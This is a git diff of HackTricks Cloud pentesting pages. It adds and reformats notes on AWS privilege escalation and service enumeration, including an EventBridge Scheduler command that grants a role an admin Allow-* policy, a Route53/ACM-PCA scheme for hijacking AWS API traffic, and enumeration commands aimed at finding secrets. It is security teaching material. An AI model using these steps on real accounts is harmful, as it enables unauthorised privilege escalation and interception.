+aws scheduler create-schedule \
+    --name MyLambdaSchedule \
+    --schedule-expression "rate(5 minutes)" \
+    --flexible-time-window "Mode=OFF" \
+    --target '{
+        "Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
+        "RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
+    }'
+```
+
+In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy:
+
+```bash
+aws scheduler create-schedule \
+    --name GrantAdminToTargetRoleSchedule \
+    --schedule-expression "rate(5 minutes)" \
+    --flexible-time-window "Mode=OFF" \
+    --target '{
+        "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
+        "RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
+        "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
+    }'
+```
+
+## References
+
+- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
+- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
new file mode 100644
index 000000000..d7b87303e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
@@ -0,0 +1,32 @@
+# AWS - Route53 Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+For more information about Route53 check:
+
+{{#ref}}
+../aws-services/aws-route53-enum.md
+{{#endref}}
+
+### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
+
+> [!NOTE]
+> To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.
+
+Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
+
+Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions.
+
+This is possible because:
+
+- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
+- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
+- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names
+
+**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
+
+#### Exploitation <a href="#discovery" id="discovery"></a>
+
+Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md
new file mode 100644
index 000000000..4c1f06d1a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/README.md
@@ -0,0 +1,31 @@
+# AWS - Services
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Types of services
+
+### Container services
+
+Services that fall under container services have the following characteristics:
+
+- The service itself runs on **separate infrastructure instances**, such as EC2.
+- **AWS** is responsible for **managing the operating system and the platform**.
+- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**.
+- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**.
+- Also, platform-level identity and access management where it exists.
+- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk.
+
+### Abstract Services
+
+- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**.
+- The services are accessed via endpoints using AWS application programming interfaces, APIs.
+- The **underlying infrastructure, operating system, and platform is managed by AWS**.
+- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared.
+- **Data is isolated via security mechanisms**.
+- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS.
+
+## Services Enumeration
+
+**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.**
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
similarity index 71%
rename from pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
index 6a7b8d82f..18b4e1ea6 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
@@ -1,19 +1,6 @@
 # AWS - API Gateway Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## API Gateway
 
@@ -25,19 +12,19 @@ API Gateway enables you to define **how requests to your APIs should be handled*
 
 ### API Gateways Types
 
-* **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends.
-* **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services.
-* **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services.
-* **REST API Private**: Create a REST API that is only accessible from within a VPC.
+- **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends.
+- **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services.
+- **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services.
+- **REST API Private**: Create a REST API that is only accessible from within a VPC.
 
 ### API Gateway Main Components
 
 1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}.
 2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage.
-   * The stage is indicated at the beggining of the URL of the API Gateway endpoint.
+   - The stage is indicated at the beggining of the URL of the API Gateway endpoint.
 3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**.
 4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API.
-   * In order to make effect the API needs to be **deployed again after** the resource policy is modified.
+   - In order to make effect the API needs to be **deployed again after** the resource policy is modified.
 
 ### Logging
 
@@ -45,12 +32,12 @@ By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and
 
 ### Enumeration
 
-{% hint style="success" %}
-Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.**
-{% endhint %}
+> [!TIP]
+> Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.**
+
+{{#tabs }}
+{{#tab name="apigateway" }}
 
-{% tabs %}
-{% tab title="apigateway" %}
 ```bash
 # Generic info
 aws apigateway get-account
@@ -91,9 +78,11 @@ aws apigateway get-usage-plan-key --usage-plan-id <plan_id> --key-id <key_id>
 ###Already consumed
 aws apigateway get-usage --usage-plan-id <plan_id> --start-date 2023-07-01 --end-date 2023-07-12
 ```
-{% endtab %}
 
-{% tab title="apigatewayv2" %}
+{{#endtab }}
+
+{{#tab name="apigatewayv2" }}
+
 ```bash
 # Generic info
 aws apigatewayv2 get-domain-names
@@ -135,8 +124,9 @@ aws apigatewayv2 get-models --api-id <id>
 ## Call API
 https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Different Authorizations to access API Gateway endpoints
 
@@ -145,7 +135,7 @@ https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>
 It's possible to use resource policies to define who could call the API endpoints.\
 In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET.
 
-<figure><img src="../../../.gitbook/assets/image (256).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (256).png" alt=""><figcaption></figcaption></figure>
 
 ### IAM Authorizer
 
@@ -163,7 +153,7 @@ $ curl -X <method> https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<
 
 Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**.
 
-<figure><img src="../../../.gitbook/assets/image (168).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (168).png" alt=""><figcaption></figcaption></figure>
 
 Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint.
 
@@ -263,9 +253,8 @@ Call it with something like:
 <pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 </strong></code></pre>
 
-{% hint style="warning" %}
-Depending on the Lambda code, this authorization might be vulnerable
-{% endhint %}
+> [!WARNING]
+> Depending on the Lambda code, this authorization might be vulnerable
 
 Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}`
 
@@ -275,49 +264,36 @@ This way you could **identify this authorization** being in place.
 
 It's possible to set API endpoints that **require a valid API key** to contact it.
 
-<figure><img src="../../../.gitbook/assets/image (88).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (88).png" alt=""><figcaption></figcaption></figure>
 
 It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month).
 
 To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key:
 
-<figure><img src="../../../.gitbook/assets/image (198).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (198).png" alt=""><figcaption></figcaption></figure>
 
 ## Unauthenticated Access
 
-{% content-ref url="../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md" %}
-[aws-api-gateway-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
+{{#endref}}
 
 ## Privesc
 
-{% content-ref url="../aws-privilege-escalation/aws-apigateway-privesc.md" %}
-[aws-apigateway-privesc.md](../aws-privilege-escalation/aws-apigateway-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-apigateway-privesc.md
+{{#endref}}
 
 ## Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-api-gateway-post-exploitation.md" %}
-[aws-api-gateway-post-exploitation.md](../aws-post-exploitation/aws-api-gateway-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-api-gateway-post-exploitation.md
+{{#endref}}
 
 ## Persistence
 
-{% content-ref url="../aws-persistence/aws-api-gateway-persistence.md" %}
-[aws-api-gateway-persistence.md](../aws-persistence/aws-api-gateway-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-persistence/aws-api-gateway-persistence.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
similarity index 51%
rename from pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
index 52437363f..679781fe8 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
@@ -1,19 +1,6 @@
 # AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -71,17 +58,4 @@ TODO
 
 TODO
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
new file mode 100644
index 000000000..75fd48594
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
@@ -0,0 +1,75 @@
+# AWS - CloudFormation & Codestar Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure.
+
+### Enumeration
+
+```bash
+# Stacks
+aws cloudformation list-stacks
+aws cloudformation describe-stacks # You could find sensitive information here
+aws cloudformation list-stack-resources --stack-name <name>
+aws cloudformation get-template --stack-name cloudformationStack
+aws cloudformation describe-stack-events --stack-name cloudformationStack
+
+## Show params and outputs
+aws cloudformation describe-stacks | jq ".Stacks[] | .StackId, .StackName, .Parameters, .Outputs"
+
+# Export
+aws cloudformation list-exports
+aws cloudformation list-imports --export-name <x_name>
+
+# Stack Sets
+aws cloudformation list-stack-sets
+aws cloudformation describe-stack-set --stack-set-name <name>
+aws cloudformation list-stack-instances --stack-set-name <name>
+aws cloudformation list-stack-set-operations --stack-set-name <name>
+aws cloudformation list-stack-set-operation-results --stack-set-name <name> --operation-id <id>
+```
+
+### Privesc
+
+In the following page you can check how to **abuse cloudformation permissions to escalate privileges**:
+
+{{#ref}}
+../aws-privilege-escalation/aws-cloudformation-privesc/
+{{#endref}}
+
+### Post-Exploitation
+
+Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation
+
+## Codestar
+
+AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members).
+
+### Enumeration
+
+```bash
+# Get projects information
+aws codestar list-projects
+aws codestar describe-project --id <project_id>
+aws codestar list-resources --project-id <project_id>
+aws codestar list-team-members --project-id <project_id>
+
+ aws codestar list-user-profiles
+ aws codestar describe-user-profile --user-arn <arn>
+```
+
+### Privesc
+
+In the following page you can check how to **abuse codestar permissions to escalate privileges**:
+
+{{#ref}}
+../aws-privilege-escalation/aws-codestar-privesc/
+{{#endref}}
+
+## References
+
+- [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
new file mode 100644
index 000000000..4a42986f4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
@@ -0,0 +1,44 @@
+# AWS - CloudFront Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3.
+
+The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**.
+
+**By default cookie logging is disabled** but you can enable it.
+
+### Functions
+
+You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS).
+
+As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature.
+
+### Enumeration
+
+```bash
+aws cloudfront list-distributions
+aws cloudfront get-distribution --id <id> # Just get 1
+aws cloudfront get-distribution-config --id <id>
+
+aws cloudfront list-functions
+aws cloudfront get-function --name TestFunction function_code.js
+
+aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME"
+```
+
+## Unauthenticated Access
+
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
+{{#endref}}
+
+## Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-cloudfront-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
similarity index 78%
rename from pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
index 91f30bd3e..9699f755d 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
@@ -1,19 +1,6 @@
 # AWS - CloudHSM Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## HSM - Hardware Security Module
 
@@ -77,17 +64,4 @@ Overall, the high level of security provided by HSMs makes it **very difficult t
 TODO
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
new file mode 100644
index 000000000..ea2e36e55
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
@@ -0,0 +1,76 @@
+# AWS - Codebuild Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## CodeBuild
+
+AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass:
+
+1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance.
+2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process.
+3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment.
+
+AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability.
+
+### **Github/Gitlab/Bitbucket Credentials**
+
+#### **Default source credentials**
+
+This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials.
+
+The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs.
+
+#### Custom source credential
+
+Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**.
+
+This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one.
+
+### Enumeration
+
+```bash
+# List external repo creds (such as github tokens)
+## It doesn't return the token but just the ARN where it's located
+aws codebuild list-source-credentials
+
+# Projects
+aws codebuild list-shared-projects
+aws codebuild list-projects
+aws codebuild batch-get-projects --names <project_name> # Check for creds in env vars
+
+# Builds
+aws codebuild list-builds
+aws codebuild list-builds-for-project --project-name <p_name>
+aws codebuild list-build-batches
+aws codebuild list-build-batches-for-project --project-name <p_name>
+
+# Reports
+aws codebuild list-reports
+aws codebuild describe-test-cases --report-arn <ARN>
+```
+
+### Privesc
+
+In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
+
+{{#ref}}
+../aws-privilege-escalation/aws-codebuild-privesc.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-codebuild-post-exploitation/
+{{#endref}}
+
+### Unauthenticated Access
+
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
+{{#endref}}
+
+## References
+
